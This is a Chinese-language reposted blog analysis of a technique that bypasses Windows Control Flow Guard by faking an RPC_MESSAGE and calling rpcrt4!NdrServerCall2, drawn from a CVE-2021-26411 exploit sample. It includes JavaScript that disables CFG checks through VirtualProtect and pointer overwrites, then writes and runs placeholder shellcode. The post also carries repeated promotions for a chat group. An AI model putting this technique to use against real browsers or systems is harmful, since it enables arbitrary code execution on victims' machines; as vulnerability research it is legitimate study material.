利用Windows RPC绕过CFG防护机制

Posted 大白Tang

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用Windows RPC绕过CFG防护机制相关的知识,希望对你有一定的参考价值。

概述

控制流保护(CFG)是微软在Windows 8.1 update 3和Windows 10中启用的一种抵御内存泄露攻击的新机制,用于阻止针对可执行文件间接调用的恶意利用。研究人员在分析CVE-2021-26411漏洞样本时,发现了一种使用WindowsPRC(远程调用)绕过CFG防护机制的新方法。

CVE-2021-26411漏洞回顾

CVE-2021-26411是Blink渲染引擎的UAF漏洞。removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue中保存的BSTR被提前释放。valueOf回调返回后,未检查nodeValue对象是否存在,从而导致UAF。

微软三月补丁日中对该漏洞的修复措施是,在删除CAttrArray :: Destroy函数中的对象之前添加索引检查:

对于这种具有可控制内存大小的UAF漏洞,利用的方法一般是:使用两种不同类型的指针(BSTR和Dictionary.items)指向重用内存,然后通过类型混淆来实现指针泄漏和指针取消引用能力:

Windows RPC介绍

RPC,即Remote Procedure Call(远程过程调用),用于支持分布式客户端/服务器功能调用的方案。基于Windows RPC,客户端可以调用与本地函数调用相同的服务器功能。Windows RPC的基本体系结构如下所示:

客户端/服务器程序将调用参数或返回值传递给较低级的Stub函数。Stub函数负责将数据封装为NDR格式。通过运行时库进行的通信是由rpcrt4.dll提供的。
下面是一个IDL接口示例:

[
  uuid("1BC6D261-B697-47c2-AF83-8AE25922C0FF"),
  version(1.0)
]
interface HelloRPC

  int add(int x, int y);

加入安全交流君羊:965912595一起吹水聊天挖洞

当客户端调用add函数时,服务器从rpcrt4.dll接收处理请求并调用rpcrt4!NdrserverCall2:

rpcrt4!NdrserverCall2仅具有一个参数PRPC_MESSAGE,其中包含重要数据,例如函数索引和参数。服务器RPC_MESSAGE结构和主要子数据结构如下所示(32位):

如上图所示,在RPC_MESSAGE结构中,函数调用的两个重要变量是buffer和RpcInterfaceInformation。缓冲区存储函数的参数,并且RpcInterfaceInformation指向RPC_server_INTERFACE结构。RPC_server_INTERFACE结构保存服务器程序接口信息,其中DispatchTable(+0x2c)保存运行时库的接口函数指针和stub函数,而InterpreterInfo(+0x3c)指向MIDL_server_INFO结构。MIDL_server_INFO结构保存服务器IDL接口信息,而DispatchTable(+0x4)保存服务器例程函数的指针数组。

根据上面给出的IDL,当客户端调用add(0x111,0x222)时,服务器程序将在rpcrt4!NdrserverCall2处中断:

可以看出,动态调试内存转储与RPC_MESSAGE结构分析一致,并且add函数存储在MIDL_server_INFO.DispatchTable中。

接下来,我们将分析rpcrt4!NdrserverCall2如何根据RPC_MESSAGE调用add函数:

rpcrt4!NdrserverCall2在内部调用rpcrt4!NdrStubCall2。rpcrt4!NdrStubCall2根据MIDL_server_INFO.DispatchTable和RPC_MESSAGE.ProcNum计算函数指针地址,并将函数指针、函数参数和参数长度传递给rpcrt4!Invoke:

rpcrt4!Invoke最终调用服务器提供的例程功能:

漏洞利用

基于以上分析,在实现任意内存读/写原语后,我们可以通过构造虚假的RPC_MESSAGE,设置要调用的函数指针和函数参数,然后手动调用rpcrt4!NdrserverCall2以实现任意代码执行。

如图所示,这是一个间接函数调用,并且具有CFG检查。因此,在篡改MIDL_server_INFO.DispatchTable函数指针之后,我们需要考虑如何绕过CFG防护机制。

如何在javascript中调用rpcrt4!NdrserverCall2?

我们可以使用rpcrt4!NdrserverCall2替换DOM对象vtable的函数指针。由于rpcrt4!NdrserverCall2是在CFGBitmap中是合法的指针,因此它可以通过CFG检查。将MShtml!CAttribute::normalize替换为rpcrt4!NdrserverCall2,并在javascript中调用“xyz.normalize()”以调用rpcrt4!NdrserverCall2。

如何绕过rpcrt4!NdrserverCall2中的CFG保护?

  • 使用伪造的RPC_MESSAGE和rpcrt4!NdrserverCall2调用VirtualProtect,并将rpcrt4!__guard_check_icall_fptr的内存属性修改为PAGE_EXECUTE_READWRITE

    将保存在rpcrt4!__guard_check_icall_fptr中的指针ntdll!LdrpValidateUserCallTarget替换为ntdll!KiFastSystemCallRet,以杀死rpcrt4.dll中的CFG检查

    恢复rpcrt4!__guard_check_icall_fptr内存属性

function killCfg(addr) 
  var cfgobj = new CFGObject(addr)
  if (!cfgobj.getCFGValue()) 
    return
  var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
  var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
  var tmpbuffer = createArraybuffer(4)
  call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpbuffer])
  write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
  call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpbuffer, 32), tmpbuffer])
  map.delete(tmpbuffer)

加入安全交流君羊:965912595一起吹水聊天挖洞

如此一来,伪造的RPC_MESSAGE便可以用于调用任何函数指针,包括缓冲区存储shellcode,因为rpcrt4.dll中的CFG检查已被杀死。最后,该示例将shellcode写入msi.dll+0x5000,并最终通过rpcrt4!NdrserverCall2调用shellcode:

var shellcode = new Uint8Array([0xcc])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpbuffer = createArraybuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpbuffer])
writedata(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpbuffer, 32), tmpbuffer])
call2(msi, [])

漏洞利用屏幕截图:

总结

利用Windows RPC绕过CFG防护机制,不需要构造ROP链,直接通过伪造的RPC_MESSAGE即可实现任意代码执行。该方法简单且有效,因此很可能会成为一种新的绕过CFG防护措施的有效方法。

最后希望大家可以给我一个三连也算是对我的一个小小的支持,我建立了一个安全学习交流群
有兴趣的朋友加入安全交流君羊:965912595一起吹水聊天学习挖洞

以上是关于利用Windows RPC绕过CFG防护机制的主要内容,如果未能解决你的问题,请参考以下文章

网站漏洞的查找利用解析漏洞来绕过上传

文件上传漏洞(绕过姿势)

实战!使用burp macros和sqlmap绕过csrf防护进行sql注入

内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

利用Windows 0day漏洞部署DevilsTongue恶意软件

Django CSRF Bypass (CVE-2016-7401) 漏洞分析